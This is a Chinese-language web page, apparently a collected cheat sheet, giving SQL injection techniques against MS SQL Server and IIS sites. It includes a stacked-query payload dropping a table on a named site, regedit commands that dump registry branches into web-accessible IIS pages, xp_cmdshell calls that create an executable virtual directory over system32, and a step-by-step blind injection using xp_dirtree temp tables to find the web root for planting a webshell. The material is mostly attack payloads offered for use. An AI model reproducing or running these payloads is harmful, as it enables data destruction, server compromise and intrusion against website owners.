最全的SQL注入命令及方法-网络收集<br />
（4）接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--<br />
5）用regedit命令导出注册表，将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面<br />
regedit命令说明：<br />
Regedit /L:system /R:user /E filename.reg Regpath<br />
参数含义：<br />
/L：system指定System.dat文件所在的路径。<br />
/R：user指定User.dat文件所在的路径。<br />
/E：此参数指定注册表编辑器要进行导出注册表操作，在此参数后面空一格，输入导出注册表的文件名。<br />
Regpath：用来指定要导出哪个注册表的分支，如果不指定，则将导出全部注册表分支。在这些参数中，"/L：system"和"/R：user"参数是可选项，如果不使用这两个参数，注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS，那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径，否则注册表编辑器将无法找到它们。比如说，如果通过启动盘进入DOS，则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下，其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令，则是说把整个注册表备份到D盘的根目录下（省略了"/L"和"/R"参数），其文件名为"Regedit.reg"。<br />
regedit /s c:\adam.reg （导入c:\adam.reg文件至注册表）<br />
regedit /e c:\web.reg （备份全部注册内容到c:\web.reg中）<br />
针对win2000系统：C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"<br />
然后http://目标IP/2.asp<br />
针对win2003系统：没有找到，希望找到的朋友公布出来一起讨论。<br />
6）虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件，是允许web用户访问的，如果你的iis备份到这里，用webshell下载下来后用记事本打开，可以获取对应的域名和web绝对路径。<br />
7）SQL注入建立虚拟目录，有dbo权限下找不到web绝对路径的一种解决办法：<br />
我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错： <br />
? 建立虚拟目录win,指向c:\winnt\system32：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' <br />
? 让win目录具有解析asp脚本权限：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" ?s:' <br />
? 删除虚拟目录win：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'<br />
? 测试：http://127.0.0.1/win/test.asp<br />
8）利用SQL语句来查找WEB目录：根据经验，猜疑WEB根目录的顺序是：d盘、e盘、c盘，首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句： <br />
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称，depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树，语句如下： <br />
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--<br />
在进行下面的操作前，先查看D盘有几个文件夹，这样对D盘有个大致的了解，语句如下： <br />
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)<br />
接着，我们在对方的网站上找几个一级子目录，如user、photo，然后，用筛选的方法来判断WEB根目录上是否存在此盘上，语句如下： <br />
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)<br />
看语句的返回结果，如果为真，表示WEB根目录有可能在此盘上，为了进一步确认，多测试几个子目录： <br />
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)<br />
...<br />
如果所有的测试结果都为真，表示WEB根目录很有可能在此盘上。<br />
下面假设找到的WEB根目录在此盘上，用以下的语句来获得一级子目录的深度： <br />
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)<br />
假设得到的depth是3,说明user目录是D盘的3级目录，则WEB根目录是D盘的二级目录。<br />
目前我们已经知道了根目录所在的盘符和深度，要找到根目录的具体位置，我们来从D盘根目录开始逐一搜寻，当然，没有必要知道每个目录的名称，否则太耗费时间了。<br />
接下来，另外建立一个临时表，用来存放D盘的1级子目录下的所有目录，语句如下：<br />
;create table temp1(dir nvarchar(255),depth varchar(255));--<br />
然后把从D盘的第一个子目录下的所有目录存到temp1中，语句如下： <br />
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname <br />
当然也可以把D盘的第二个子目录下的所有目录存到temp1中，只需把第二个top 1改为top 2就行了。<br />
现在，temp1中已经保存了所有D盘第一级子目录下的所有目录,然后，我们用同样的方法来判断根目录是否在此一级子目录下： <br />
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1) <br />
如果返回为真，表示根目录可能在此子目录下，记住要多测试几个例子，如果都返回为假，则表明WEB根目录不在此目录下，然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表，来判断WEB根目录是否在其下。但是，要注意，用xp_dirtree前一定要把temp1表中的内容删除。<br />
现在假设，WEB根目录在D盘的第一级子目录下，该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2，我们需要知道website下到底哪个才是真正的WEB根目录。<br />
现在，我们用同样的方法，再建立第3个临时表： <br />
;create table temp2(dir nvarchar(255),depth varchar(255));--<br />
然后把从D盘的website下的所有目录存到temp2中，语句如下： <br />
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname <br />
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中，只需把第二个top 1改为top 2就行了。<br />
现在，我们用同样的方法判断该目录是否为根目录： <br />
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2) <br />
如果返回为真，为了确定我们的判断，多测试几个例子，方法上面都讲到了，如果多个例子都返回为真，那么就确定了该目录为WEB根目录。<br />